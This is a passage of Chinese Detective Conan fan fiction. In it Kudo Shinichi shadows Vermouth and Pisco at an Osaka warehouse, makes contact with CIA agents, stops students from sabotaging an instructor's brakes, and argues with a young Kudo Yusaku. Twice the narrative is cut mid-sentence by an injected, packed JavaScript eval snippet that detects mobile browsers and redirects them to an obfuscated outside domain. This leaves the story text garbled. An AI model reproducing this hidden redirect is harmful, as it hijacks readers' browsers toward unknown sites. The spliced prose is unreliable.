“这孩子……”藤峰有希子心里莫名有些不安,忆及刚刚迎面撞见的、声称要“出去散散心”的莎朗·温亚德,总觉得这之间有什么联系。 终于“摆脱”了有希子,工藤新一穿梭在大阪夜晚的街道上,小心地跟着贝尔摩德。幸好这女人身形高挑,也没有乘坐交通工具,目标尚且算是明显。 随着她左拐右进,深夜里本就昏黄的灯光愈发稀少,寂静的夜里似乎只有她轻巧的脚步声。工藤新一知道贝尔摩德的敏锐,此时尚且是敌非友,他屏息凝神,用追踪眼镜的放大功能尽量离远些观察,麻醉手表也早就蓄势待发。 贝尔摩德最终停在了港口的一处仓库门前。 “用这里代替‘鸦尾’吗?”她抽出一支女士香烟叼在嘴里,一只手把玩着火机,上下翻飞出橙红的火焰,“不是您的风格啊,‘前辈’。” 旁边树林的阴影里走出一个中年男人,穿着板正的定制西装,一副老派的口吻:“海洋孕育了扩张,不是吗。” 是皮斯可。 贝尔摩德点燃了那支烟,面朝大海吐了个烟圈:“约我出来,不会只是想让我认认路吧。” “我有件东西要给你。”皮斯可倒也不卖关子,“关于克莉斯……” 贝尔摩德猛地回过头:“你怎么——” “给。” 皮斯可摘下手套,从随身的衣袋里拿出一块用手帕包裹住的小物件递给她。贝尔摩德的呼吸急促了一瞬间,却没有立刻收下:“关于这座仓库,你想要我做什么?” “你只需要记住,这座仓库是‘鸦尾’的继承品。” “那么实际上呢?” “你知道,朗姆那边,最近‘发现’了一个天赋异禀的情报苗子吗?” “原来如此,你的业务还真是广泛。”贝尔摩德接过那只包裹住的手帕,算是默认了这场交易。她目送皮斯可离开,站在原地吸完了那只烟,才默默回程。 夜色像一张被海风揉皱的锡纸,暗得发潮。远处的海面传来单调的拍岸声,一浪接一浪,像在为这场隐秘的交易打着退场的节拍。 工藤新一猫在街口,与贝尔摩德之间隔着一条昏黄路灯织出的光带。他压低帽檐,只露出半截镜片,那副追踪眼镜的放大倍数已调到极限——瞳孔里映出的世界被切割成一幕幕无声的电影。贝尔摩德的嘴角偶尔上扬,皮斯可的眉骨偶尔下沉,所有情报都被风撕成碎片,他只能抓住零星的口型,剩下的,全靠推理拼图。 风更急了,卷起尘土拍在新一的裤脚。他等心跳平复,才从阴影里踱出,随手抓了两把地上的沙土,胡乱抹在衣摆和袖口——伪装成在码头跌过跤的流浪小孩,总比干干净净的“目击者”更不起眼。 街灯稀疏,他的影子被拉得老长,像一条试探的触角,一路探向海边那座孤零零的仓库。 ——如果是组织正式行动,周边早该布满暗哨;但今晚只是贝尔摩德与皮斯可的私活,知道的人越少越好。仓库里或许有留守,却绝不会对一个迷路的小鬼大动干戈。 想到这儿,他故意放慢脚步,让鞋底在水泥路上蹭出“啪嗒、啪嗒”的拖沓声,像极了一个又冷又饿、找不到家的孩子。 仓库外墙斑驳,铁门半掩,缝隙里漏出一点昏黄灯光。新一没有靠近,只是沿着墙根的小路晃悠,时而踮脚往窗里瞥一眼,时而蹲在垃圾桶旁翻找——动作夸张,神情却冷静得像在拆解炸弹。海风把垃圾的酸腐味吹得到处都是,他却像闻不到,指尖拨开层层废纸、空罐、碎玻璃,终于在最底层摸到三张被揉皱的购物小票。 4月14日、中午、便当18份、饮用水一箱。 4月15日、中午、便当18份。 4月16日、中午、便当18份。 最后一盏路灯被海风吹得忽明忽暗,像垂死挣扎的萤火。仓库的轮廓在熄灯后骤然放大,黑得几乎要压到头顶。工藤新一屏住呼吸,耳廓里只剩心跳—— 啪。 极轻的一声,像枯叶擦过地面。他却瞬间浑身绷紧,颈后的汗毛集体起立。 黑暗里,一只男人的手自他右肩后方无声探来,指节修长,指腹带着长期握枪留下的薄茧,距离他颈动脉不到两厘米,却停住了。 麻醉手表“咔”地弹起瞄准盖,冷光一闪,表盘上的十字准星对准了来人的眉心。 “别动。”新一的嗓音压成冰线。 然而下一秒,他愣住了—— “小朋友,你是迷路了吗?”那人问他。 工藤新一放下手表型麻醉枪,把购物小票攥成一团:“没有哦。” “这附近不太平,小心有鲨鱼从海里跳出来哦,”那人语气冷硬,说出的话却像是哄小孩一样,给他拍了拍身上、脸上故意沾上的尘土,“你住在哪里?叔叔帮你报警还是送你回去?” “不用啦叔叔,”工藤新一眼睛一转,“我认得路,离着不远,这就回去。只是刚刚我哥哥想跟您说一句话。” “你哥哥?”那人身体后倾。 工藤新一低着头,把手里那团购物小票团成的纸团递给他,轻轻地说:“我哥哥姓江户川,他说——” “要小心啊,PANY’先生。” 伊森本堂立刻皱起了眉。 “被小孩子发现了呢,伊森。看来我们这些人都得回炉重造了。” 工藤新一走后,树林的阴影里又走出一人。那是个身材高挑的女人,长长的红色卷发搭在肩上,深夜里还戴着一副墨镜,遮住了一双棕色的眼眸,显然是个外国人。 “我们的行动计划需要更改。”伊森本堂摩挲着手里的纸团,对她说,“诺拉(Nora),先回吧。” 名唤“诺拉”的女人摘下墨镜:“那孩子你认识?” “不认识。”伊森本堂边说话边站起来,“我还在想,他、或者他的‘哥哥’,是怎么知道我的身份的?从今天的行动来看,我应该并没有露出任何破绽才对。” “我记得前些日子你和怀亚特(Wyatt)他们去了浪速区附近的居酒屋吧,有人偷听吗?”诺拉转身向他们的停车处走去,“pany’……那孩子知道这个的意思?会不会是巧合。” “给我一点思考的时间啊,诺拉,”伊森本堂苦笑,“我确定那天居酒屋附近没有那个小孩子或者某个能做那孩子哥哥的年轻陌生男性存在——至于pany’,我不觉得是巧合。” 两人一路缓缓而行,诺拉坐进副驾驶,拉上安全带:“总之,怀亚特,去查查那孩子还有‘江户川’这个人。” 驾驶座上坐着的正是这支CIA小队的另一个成员怀亚特,前些日子与伊森本堂一起聚餐的同事之一。他发型干练,架着一副无框眼镜,身上的衬衫一丝不苟地系到了最上面一颗扣子。闻言,怀亚特点点头:“我已经有在查询了。只是不知道那个孩子的姓名,只能通过伊森身上的监视器影像查找,可能需要一些时间。” “至于伊森的‘下潜’工作……” 伊森本堂看向窗外,昏黄的路灯在他脸上映出半明半暗的光影。 “啊,只好暂缓了。” 只是月光下,那个看起来也就和瑛海差不多大的男孩的脸上,没有算计、没有阴险、没有任何可称之为“可疑”的神情,反倒是能从他的眼眸里读出一股莫名的哀伤和真挚。 实在是让人不忍心怀疑啊。 折腾了一大圈,工藤新一再回到酒店时,天色已经开始微微泛白。他打了个哈欠,嘴张开一半,又中途插入了个广告似的“啊啾”了一声。 工藤新一揉揉鼻子,心想:不会这么倒霉吧,这就感冒了? 他拍拍身上的尘土和露水,本想在酒店大堂躺一下,转念想了想,决定还是去打扰一下挡箭牌先生工藤优作。诸伏叔叔和阿姨那边早就打好招呼了,应该不会对他夜不归宿而担心,反倒是工藤优作那边,似乎应该去报个平安才是,顺便讨杯热水睡一会儿。 工藤优作握着一杯咖啡给男孩开了门。 没等工藤新一说明来意,挡箭牌先生先倒了一大滩苦水:“下次我一定跟你一起去,新一,你可算是回来了——下次跟有希子编瞎话的时候能不能先跟我通个气啊?” “你……你一直没睡?”工藤新一看着他手里的咖啡,真情实感地问他,“什么瞎话?” 工藤优作把那杯咖啡放到一边,拉着工藤新一进屋,蹲下来,扳着男孩的脸让他看在酒店大床上和衣而眠的有希子:“你自己跟有希子编的瞎话,说什么我胃疼——有希子直接杀到我屋里要给我找医生,我倒是反应快,但谁知道有希子……” “优作,听说你不舒服?新ちゃん(酱)要给你拿药来着,你怎么了?”两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137911|180325||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小时前,藤峰有希子敲响了他的房门,在一屋子咖啡味中精准地抓到了正在艰难熬夜的工藤优作。 “真是的,都不舒服了怎么还喝咖啡啊,快睡觉才是啊。” 工藤优作突然接到“新剧本”,一时有些不知所措。但看着藤峰有希子湿漉漉的美目,又想到一脸狡黠的“未来”儿子,只好认了自己“确实不舒服”。他立马捂住自己的太阳穴,低下头假意忍痛:“啊,是,是有点头疼,但已经好多了……”说话间眼睛还悄悄观察着有希子的神态。 “哦?是这样吗?”有希子半月眼看他,“但新ちゃん说你是胃疼哦?捂头做什么?” 当然是因为新一没告诉我我哪儿疼啊!工藤优作立刻抽出一只手改为捂肚子:“啊,这么一说,确实……” “嗯?” “嗯……”工藤优作讪讪地放下手,知道这场拙劣的谎言已经没有存在的必要了。 有希子不客气地坐在他房间的沙发上:“说吧,你和新一到底怎么回事?” “你和她都说了?”工藤新一紧张地问。 “怎么可能,”工藤优作摆摆手,“就是被当成‘包庇儿童离家出走’的共犯,被她狠狠教训了一顿。估计,也就是觉得你半夜出去乱走不放心吧。结果不放心到自己也不睡,最后实在太困睡在我这了。” 工藤新一点点头:“那就好。” 不论如何,有关于组织的事绝对不能牵扯到有希子。 “一点都不好。”工藤优作把他抱到沙发上,与他平视,“我能感觉到你在做很危险的事,出于信任,我这次给你当了借口为你掩盖,但是新一,我希望下一次你能让我跟着你一起,哪怕是给你打个下手。” 工藤新一一怔。 “不可以吗?”工藤优作歪头说。 工藤新一低下头,眼睛乱瞟,黑色的刘海遮在眼前:“这……这不是现在的你该涉足的,你甚至还没和有希子姐姐结婚呢。” 工藤优作捏他的脸:“你是老爸还是我是老爸啊,工——藤——新——一——” “——什么‘爸’啊……诶,新ちゃん?你回来啦。”藤峰有希子睡眼惺忪地从卧室出来,栗色的半长发炸出几缕呆毛支棱在头顶。 工藤新一赶忙逃出工藤优作的周身三米,跑到有希子旁边:“有希子姐姐!优作哥凶我!” 工藤优作无语地看他。 “嘛,怎么回事嘛,”有希子蹲下来把他搂在怀里,“都几点啦你才回来?小孩子要多睡觉才能长高高哦,你看你这一年都没有长高嘛,景光ちゃん现在都比你高了快要十公分了哦,可不要学你优作哥哥天天熬夜喝咖啡……” 工藤新一望天。 工藤优作只好在一旁陪着笑,等有希子又把自己聊困了,才把她送回到她自己的房间里。 几乎是一夜未眠的小说家疲惫地抹了把脸,再回房间时,才发现工藤新一蜷缩在他房间的沙发上裹着毯子睡得人事不知,甚至还轻轻打起了小呼噜。 工藤优作笑着摇摇头,轻声叹了口气,把小孩连人带毯子一起抱到了还乱糟糟——有希子刚刚起来还没收拾——的床上,中途新一的手机掉了出来,被他顺手放在了床头柜上。 小男孩身上穿着单薄的灰色衬衣,领口解开了一颗扣子,被他自己蹭着堆叠在下巴处,随着呼吸轻轻地翕动。颈上系着的白色网兜因此露出了一角。工藤优作犹豫片刻,伸手把那网兜轻轻地拨开了一些。 他没有拿出网兜里的那枚药盒,只是那样看着。这大概是他第二次见到这两颗药——上一次还是在设乐家的别墅里。那药盒上面有明显的几行刻字:机器刻印的“APTX-4869”,还有下面几行,看上去应该是个手极稳的人用美工刀手工刻上去的“ANTI-APTX-4869”、“H·A”和“Sherry”。 有希子来他的房间时,曾提到看见新一从胸前的药盒里拿出了一枚红白色的药丸。那么“APTX-4869”显然是这种药品的简称,至于“ANTI”则是常见的表示“反义”的词汇,所以这大概是某种药物和它的反向药品的称谓。工藤优作坐在床边,手放在下巴上,静静地看着那个神秘的、或许与男孩身上那个巨大的秘密格外相关的药盒。 “H·A”明显是个人名,至于是日本人还是其他字母文字国家的人暂时不可知。“Sherry”倒是有很明确的解释——雪莉酒,一种通常于餐前饮用的、原产自西班牙西南部的烈性葡萄酒。 但是信息太少了,姑且当“H·A”是签名,那“Sherry”呢?也许是某种代号。 那么问题又来了——这东西和新一有什么关系? 那两颗红白色、蓝白色的药丸,到底是做什么用的? 有希子的话也是他的隐忧:为什么在一切数值都正常(上次进医院检查的结果)的情况下,新一这一年以来连一公分都没有长高? 工藤优作仰面躺在床上,正当入睡时,迷蒙间听见一声手机的震动声。 35. 车击 “组织在英国有行动,目前这些人已经潜入日本,行动小心。” 工藤新一迷迷糊糊地从工藤优作房间里醒来时,打开“江户川”的手机,就看见了这么一条消息。来源很明显,出自赤井玛丽。同时,另一部手机还接到了自英国寒假结束后许久没有消息的赤井秀一的来信:“新一君,听说你的剧组出了命案?” 秀哥的消息也太滞后了吧,这是被禁网了才放出来吗?工藤新一笑,先回了玛丽的邮件:“多谢告知,如果你们要进入日本,请与我联系。”随后才回复了赤井秀一:“不是在剧组发生的,是剧组的化妆师被害了。” 这母子俩又同时说: “好的,近期没有行程,祝安。” “原来如此,听说闹得很大。对了,你的那部电影什么时候在英国上映?” 他只好又依次回复: “多谢。” “……求你,不要看,哥。” 远在英国的母子俩看着几乎同时发送过来的消息,对视了一眼。 放下这段插曲,工藤新一回到自己的房间,难得早上洗了个澡、换了一身新衣服——昨天的灰色衬衣已经褶皱得不像话了。他神清气爽地走出浴室,刚好和诸伏景光打了个照面。 “新一?”诸伏景光也是刚醒不久,“你昨晚去哪啦?” “跟优作哥出去吃饭,回来有点晚就住在他那里了。”工藤新一熟练地拿出“挡箭牌先生”,“我们今天就要回东京了吗?” “妈说再留两天。”诸伏高明走进来,“给咱们仨请假。新一今天还要去警局录笔录吧,不如一起,结束后一起去附近转转——通天阁之类的。” 通天阁啊……工藤新一想起服部平次第一次邀请他们来大阪游玩时的场景,不自觉露出了笑容。 结束笔录时已经是中午。休整一番后,他们才来到了通天阁。 今天的大阪天气很好,即使已经是下午也依旧晴朗。蔚蓝色的天空中只有淡淡的几片白云,阳光留恋地挂在墙头和檐上,为本素雅的通天阁染上一层金红色的胭脂。整个通天阁周围弥漫着一种古老与现代交融的气息。古老的建筑与现代的都市相互辉映,传统与时尚在这里完美地融合在一起。他们漫步在通天阁周围的大街小巷,直至天色昏暗,才寻了一家煎饼店吃饭。 说来也巧。工藤新一看着眼熟的街景。这家店恰好就是服部平次当年拉着他们来的那家,也就是他们第一次见到远山和叶的地方。大阪人啊,还真是长情得可以,这家店居然二十年前就已经存在了。 说起那天……工藤新一打了个饱嗝——那天那起案子,缘起似乎就是在二十年前的大阪。那位驾校教练好似叫做…… “稻叶教练,这杯酒敬您!今天结业总得给个面子吧!”隔壁的居酒屋忽然传来一声中气十足的劝酒声。 稻叶彻治是库真驾校的一名教练,今日刚好结业了一班驾校学员,被这六人簇拥着来居酒屋聚餐。 工藤新一眼神一凛。 同时,怀亚特正和伊森本堂一起经过这条街,一眼瞧见了煎饼店里的工藤新一和在他旁边、长相非常相似的年轻“哥哥”工藤优作。 “真是得来全不费工夫。”三个人同时在心底说。 据那时大阪府警的调查,大约二十年前,也就是现在,时任驾校教练的稻叶彻治因为教导过于严苛,遭到了当时带的学员的厌恶。这六个人趁着结业的机会在当天晚上与稻叶教练聚餐,破坏了他车上的刹车装置,在稻叶彻治开车回家时,车子因为刹车油漏光了的缘故发生车祸,稻叶教练当场死亡。事后,六个人一致做了伪证:谎称稻叶彻治那天跟他们聚餐时喝醉了酒,这是一起醉酒驾车、自受其害的意外。 而现在,稻叶彻治摆手拒绝了学员的劝酒:“不喝不喝,我一会还要开车回家的。” 一墙之隔的煎饼店,诸伏景光晃着小腿,吃得美滋滋的。余光看到工藤新一似乎有些坐立不安,就拍拍他:“新一?怎么了?你的煎饼还没有吃完哦,这个超级好吃的!” “哦,我吃饱了。”工藤新一回过头笑了笑,然后跳下座椅,“我去一下厕所!” 诸伏景光郁闷道:“诶,新一——真是,新一最近怎么总是……” 话没说完,就看到工藤优作也当机立断地起身,擦了擦嘴追了出去,临走前对一旁的有希子说:“我去买点东西,等我一会。” 藤峰有希子咬着煎饼点点头。 “怎么总是神神秘秘的。”诸伏景光说完了后半句话。 藤峰有希子又点点头。 一桌人相互看了看,诸伏加奈笑着开玩笑:“有时候觉得优作君和新一还真是有一种莫名的相似,像亲兄弟似的。” 大家都笑了起来。有希子的思绪却飘回了昨天深夜,她听见屋里的动静,揉着眼睛醒来,正好听到了工藤优作半耍赖似的对新一说—— “你是老爸还是我是老爸啊,工——藤——新——一——” 她心里一惊,面上却不显,假装没听清一样走出来。 优作这话是什么意思? 不远处,伊森本堂和怀亚特假意聊天,目光却跟随着工藤新一二人,目送他们从煎饼店出来,走进了隔壁的居酒屋。 “你确定这是昨天那个孩子?”怀亚特问。 “是有点奇怪。看样子,这孩子的家庭应该就是煎饼店里这几个人。”伊森本堂说,“看样子是个很平凡的家庭——爸爸妈妈、哥哥弟弟。跟着他们一起的那个少女应该是最近上映的电影《莫比乌斯》的女主角,那个年轻男人就不知道了。这里面符合所谓‘江户川’哥哥年龄、心理的也就是这个男人了。” “查到了。”怀亚特收起电话,“那孩子名叫工藤新一,是这一家的养子。至于那个年轻男人,他是《莫比乌斯》的原著作者,推理小说作家工藤优作。” “都姓工藤?”伊森本堂皱眉。 “没查出他们间有没有血缘关系。不过‘工藤’是大姓,是巧合也有可能。” “的确。‘江户川’很有可能只是化名。不过,我倒觉得这位工藤先生很有嫌疑。”伊森本堂笑着说,“他不是推理小说家吗?作为推理小说家,化名‘江户川’应该不足为奇——那可是推理小说界的里程碑式人物啊,江户川乱步先生。” 怀亚特皱眉:“你们日本人的特殊情怀吗?没有切实证据还是不要乱想。” “说着玩嘛,你怎么比我还不苟言笑。”伊森本堂说,“去会会他,就算是认错人也无所谓。那孩子认得我,我就先不出面了,你去吧。” 怀亚特推推眼镜:“好。” 与此同时,居酒屋内。 工藤优作小声问男孩:“这几个人有什么问题吗?” 不涉及组织,工藤新一也就不隐瞒什么:“是有个案子……”把了解到的案件情况跟工藤优作重复了一次。 “恶作剧?”听完后,工藤优作冷笑,“分明就是作恶。” “但是我不知道出事的是哪一辆车,只能等着他们行动了。”工藤新一把脸埋在菜单里,“到时候出面干涉一下就好了,估计会算做犯罪未遂吧。” 二人交谈过程中,稻叶教练的那一桌有两人从桌前离开——正是沼渊己一郎和长尾英敏。他们假意出门透风吸烟,神情却很奇怪——那是一种混合着心虚、兴奋的扭曲表情。 工藤优作对男孩点点头,两个人步调一致地走出居酒屋,一边一个,默默地跟在这两个人身后。 长尾英敏狞笑着,从口袋里拿出了一把再普通不过的美工刀,拉着沼渊己一郎走到了附近的一处小巷。 “车钥匙拿了吧?”长尾英敏问。 “刚刚乡司宗太郎给我的,拿着呢。”沼渊己一郎拿出一串车钥匙,“弄刹车油吗?” “对。”长尾英敏夺过车钥匙,把稻叶彻治的车子粗暴地打开,“给我把风!我倒要看看,这魔鬼会不会露出那种害怕的表情。”说罢拿起美工刀,在刹车管处生划了一道口子出来。刹车油慢慢地从这道裂口处滴落。 一阵有规律的脚步声从巷尾传来。 “Excuseme,sir!”随后传来了一口流利的美式英语与蹩脚的美式日语,“请问大阪府警局要往哪边走啊?” 美国人?工藤父子二人对视了一眼。 “啊?不……不知道!”长尾英敏色厉内荏地大声喊。他把手上的美工刀藏起来,另一只手驱赶一般胡乱挥舞着。听见“警察局”几个字,做贼心虚地出了一身冷汗。 这时反倒是沼渊己一郎更冷静了:“不知道,你去街上问吧。”那双阴鸷的眼睛死死盯着面前这个莫名出现在此处的美国男人。这人身形挺拔,穿着一件齐整的长袖衬衫。他眉目疏阔,深棕色的头发一丝不苟地梳成了个大背头——明明是个美国人,给人的印象却更像是个老派的英国绅士。 “抱歉,那我去问问别人。先生们,你们都在这辆车旁边半天了,是需要帮助吗?正好我从事过汽车维修工作,或许能帮得上忙。”那个美国男人却不依不饶,继续凑上去。 长尾英敏气急,一把推开他:“多管什么闲事啊外国佬!给我滚开!” 旁边的沼渊己一郎也明显越发凶狠。 一颗足球撞在墙边,发出沉闷的一声响,滚在三个人脚边。 “啊,对不起!”清脆带着撒娇意味的童声响起,随着那颗突然出现的足球一起,打断了愈发焦灼的气氛。 工藤优作看看足球又看看男孩,玩味地看了看他身上特制的腰带——嗯,这也是二十年后的技术?还怪方便的。要是能给足球充氧气,都可以作个便携的急救装置了。 那个美国男子——CIA探员怀亚特·鲁索微微睁大了眼睛,看着这个突然出现的男孩。 刚被莫名出现的外国人打搅、又突然出现一个莫名其妙的小孩子,“放刹车油”二人组已经神经紧绷到了极致,根本不想再与任何人有任何交际。沼渊己一郎把车门关上、锁好,就要冲出巷子—— 一个人影斜靠在巷口,身影被灯光照亮。他转过脸,推了下眼镜:“感觉这里有人起了纠纷就擅自报了警,实在不好意思啊——呐,新一,玩球不可以在街上玩哦!” ——这又是谁! ——这就是,江户川吗? 管你是不是报了警!沼渊己一郎心一横,夺过长尾英敏手上的美工刀,横冲直撞地越过工藤优作、冲了出去。他佝偻的身子像一只野兽一样,瘦削的脸上满是疯狂。工藤新一配合地大喊:“快抓坏人呐!”随后飞起一脚用足球放倒了试图攻击怀亚特的长尾英敏。 真·CIA特工·怀亚特:“……?” 而文弱书生工藤优作丝毫不慌,闪身避开沼渊的锋芒,把舞台留给了正好赶到的大阪府警。 远山银司郎指挥手下勘察现场,给两人戴上手铐后,笑着看工藤新一:“看来小朋友,今晚你又要来警局一趟了?怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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头有点晕,身上也隐隐作痛。工藤新一感受着身体的变化。看来这就是这一次的代价了,只是不知道会持续到什么时候。 “新一怎么总是遇见这些事。”诸伏景光吸了一口果汁,“诶,新一,你肩膀那里怎么鼓鼓的?” 景光还真是敏锐。工藤新一笑笑,把那个有点显眼的凸起挪了挪:“好像不小心进了块小石子,我去弄一下就好。我们现在回酒店吗?”差不多到酒店垃圾处理处换班的时间了,他得把混在莎朗房间垃圾里的窃听器找回来。 至于他自己身上这个可不能处理——这个可还有用呢。 “好!那就回酒店吧!” 今晚,轮到工藤优作偷偷跑出了酒店。 那张纸条估计是临时写的,简洁地写了一个号码而已。他找到一个电话亭,拨过去,今天遇见的那位CIA先生很快接通了电话。 “江户川先生,晚上好。不,工藤优作小说家?” “不敢当。”工藤优作说,“这么晚打搅还真是不好意思了。不过阁下今天也算是不请自来,我也只好和你打这个平手。” “呵,江户川先生说笑了。”怀亚特说,“您昨晚的追踪才是点睛之笔,连相熟的孩子都那么聪明。” 昨晚的追踪?新一这是追踪莎朗·温亚德,偶遇了CIA,还特意露面了? 工藤优作对昨晚的情形完全不知,全凭现场推理:“巧合而已。我想PANY的各位也对我们没有恶意。”既然这位怀亚特先生在对他说话提及CIA时用的是PANY”这个代称,想必昨晚这个词也是出现过的吧。 “浪速区的海边风大得很,可别让小孩子被吹跑。” “有我拉着自然不会。说起来,你们费尽心思接近我,只是为了和我打机锋聊家常,顺便提醒我注意未成年人人身安全吗?”工藤优作试图获得更多的情报。 “江户川先生还真是心急。”怀亚特说,“不过我并不清楚这件事,还是请你熟悉的那一位来聊吧。” 伊森本堂接过电话:“你好。” 工藤优作挑眉:“昨晚就是你啊,先生。”他已经基本猜到了昨天晚上的情形。无非是两帮人追踪到了一处,而新一基于未来的记忆对这群CIA抱有信任,想拉盟友罢了。 伊森本堂笑:“是啊。那孩子对我说那一番话,还真是让我大跌眼镜。” 他耳边回响起刚刚诺拉·加西娅汇报的情报: “工藤优作身世非常清白,包括父母在内,从小到大都有迹可循,而且成年后就一直与日本警方存在友好联络,日本警方很信任他。应该不是敌人。反而是那个孩子……他自称失忆,9岁前的信息一概不知,似乎是突然出现在长野县的,而且早熟的过分了。” “那倒是我们鲁莽了。”工藤优作道,“我想,合作的意思不用我多说?” “天下没有免费的午餐。” “我想这句话应该是双向的吧。而且我想,礼物你们应该已经收到了才对。” CIA不是傻子,怎么可能轻易相信工藤新一的一面之词就冒险联系“江户川先生”?所以新一昨晚一定已经透露了、或者表现出了合作的诚意。 伊森看着手里三张皱皱巴巴的购物小票:“最多只是抛砖引玉吧。” “那还不够吗?”工藤优作只能拖延。 “那东西你不拿,我们也早晚会拿到。”涉及组织,伊森本堂寸步不让。 工藤优作脑中迅速回想新一昨晚的所有细节:“……是吗?” “当当当!” 36. 舟连 工藤优作猛地回头,看见工藤新一换了件厚外套站在电话亭外,似乎心情很不好。片刻,男孩又抬起头,等工藤优作把他放进电话亭,才勉强地笑了一下。 工藤优作捂住话筒,小声说:“新一?” “都说了不让你管。”工藤新一扁扁嘴,抢过电话。 “诶——” “去年十二月,朗姆就已经出现在东京一次了,如今他又出现在皮斯可口中,东京怕是会有大动作。至于另一位,我的情报显示她是组织的代号成员之一,名叫贝尔摩德。”工藤新一对着话筒说出的却是工藤优作的声线,“这样足够了吗?” 工藤优作震惊地看着男孩,发现他手上多了一个没见过的蝴蝶结,是个方便好用的变声器。 “嗯,好。” 工藤优作默默地站在一旁,等工藤新一放下电话。没过多久,男孩踮起脚,把电话放回去。 电话亭里一时沉默了起来。 工藤新一推开门,一言不发地走在前面回酒店。工藤优作就亦步亦趋地跟。已经是深夜,大阪忽的飘了些蒙蒙细雨,男孩本就在发烧,咳了两声。青年见状,也不管现在他们之间的奇怪氛围,把他抱起来,用自己的外套替他挡雨。 工藤新一不语,默默地缩在他怀里。 为什么你一定要掺和进来呢? 如果不是我,你本应该在二十年后才在安全的大本营得知一切;甚至如果不是我,你连知晓组织的机会都不会有。 可是…… 可是工藤优作就这么闯进来,居然让他可耻地心安。 直到回到酒店,这一大一小也没有说过一句话。工藤优作看了看心情低落还生着病的男孩,叹了口气,也没征求他的意见,把他带回了自己房间。 “先喝点热水新一,我去你们房间给你拿睡衣。”工藤优作把小孩放下,“别着凉严重了。今晚还是在我这里住吗?” 看来是逃不过一场谈话了。工藤新一点点头,顺便趁着这个空档去垃圾处理站回收了自己卷在创口贴里的窃听器。 等工藤优作回来、工藤新一换好衣服,两人就面对面坐在沙发上。半晌,工藤优作先认错:“抱歉新一……我是不是破坏了计划?” “……也没有。”工藤新一哑着嗓子说。 他并没有任何怪罪工藤优作的意思。毕竟如今的工藤优作也才二十出头,尚且未经世事的年轻人而已。基于对工藤新一的关心,想要抓住一切机会触及到组织的事实在是再正常不过了。换成二十年后的他也会这么做。 就像当年一心想深入“禁区”、与他并肩作战的服部平次、黑羽快斗一样,区别只在于,当年他和一票特工严防死守,挡住了两个好友的好奇心,而如今的他一时疏忽,让工藤优作钻了空子。 想到这,工藤新一抿抿嘴,严肃地说:“但既然你已经被拉下水了,有些事我就必须告诉你。否则你会有危险。” 工藤优作乖乖点头。 “像你猜的那样,我们在对抗一个黑暗中的势力,没有具体的名字,我们称之为‘黑衣组织’。它很庞大、很危险,一定不能掉以轻心。”工藤新一说着,抿了一口水,“组织的特点一个是黑衣,另一个就是代号。就像你听见我说的那样——” “朗姆和贝尔摩德。”工藤优作会意。 “他们的代号都是酒名。”工藤新一说,“但即使是我们,也没有掌握到全部代号成员的名单,很可能出现没见过的组织成员,所以一切行动都必须小心。至于CIA,抛却其他立场,至少在对抗黑衣组织这件事上可以作为同盟。但我们并不认识今天那个叫怀亚特·鲁索的男人。” “也就是说你认得另一个男人?” “嗯,伊森本堂,CIA。”工藤新一点点头,“今天他在电话里与我约定,明天中午码头咖啡店见面。既然你已经顶替了‘江户川’的身份,就只能你去了。至于要说什么,其实不用我们多说——你只要酌情把灰田曜事件中关于‘鸦尾’包厢的事告诉他们就好。” 工藤优作回忆起那间昏暗的包厢:“那件事与他们有关?” “你记得,那件事的最后,日本公安介入了对吧?说不定我们还会遇见公安的人也说不定哦。”工藤新一轻轻咳嗽了两下,冰蓝色的眼睛认真地看他,“那个包厢是他们毒品贩卖的一个据点,背后的人,就是黑衣组织的元老之一,皮斯可。” 工藤优作皱眉:“皮尔·考斯?” “对,但也只是化名罢了。至于昨晚……不重要。我们只是发现了一处绑架人质的窝点。”工藤新一又斟酌着与他共享了昨晚的跟踪情报,“明天只是初步接触,你也放轻松。” “看来明天是场硬仗啊。”工藤优作叹气。 “现在退出也来得及哦。”工藤新一忽的从口袋里拿出一只窃听器,眯眼笑了一下,“反正他们都知道你是冒充‘江户川’的了。” “你……”工藤优作的眼神游弋在男孩的坏笑与窃听器上。 “‘既然你已经顶替了【江户川】的身份’……” 怪不得他在说话时用词一直很谨慎,第一人称用的一直是“我们”。 工藤优作猛地站起身:“新一!” “呐呐,本堂先生有听见的对吧,江户川哥哥现在也许不大方便露面哦。”工藤新一对着窃听器说话,掐尖嗓音让自己好受一些,“但是假如你们不介意的话,也可以和优作哥还有我见面。不回复就当同意咯。” 只有窃听功能没有通讯功能的小机器:“……” “那么,明天我会和优作哥准时赴约哦。晚安,本堂先生、鲁索先生还有一位不知名的女士。”工藤新一微笑着说出了了不得的话。 他故意保留着CIA的窃听器,为的就是弥补“工藤优作”这个不应该涉足于此的错误,故意叫CIA明白,工藤优作并不是真正的“江户川先生”,甚至刚刚才得知组织的一点基础信息——这不还是变相地要把他排除在外吗? 工藤优作这次可一点不心虚了,反倒有点生气。他把那窃听器扔进卫生间,关上门,又拉着工藤新一坐回房间的床上,再度关上卧室门:“工藤新一!” 其实,那个窃听器的范围没有那么大,不用连关两道门的……工藤新一没敢说出口。 工藤优作站在门口看了他半天,胸膛剧烈起伏,半晌,却是先泄了气:“好……那你说,你去哪里找出一个‘江户川’?这个身份总不会是你现编的,总要有点实证。” “那个啊,我自然是有人选的。”工藤新一摆摆手,瞟他,“……你生气了吗?” “是的。”工藤优作直截了当地说,“我很生气,新一。就算你不是看上去这么点大,估计也就是个二十岁的年轻人吧,与我相差无几,为什么不能接受我的帮助呢?我很拖你后腿吗?” 这都被猜到了啊……如今确实和现在的老爸差不多大。工藤新一晕眩了一阵,持续的低烧使他有些乏力:“当然没有,只是……” 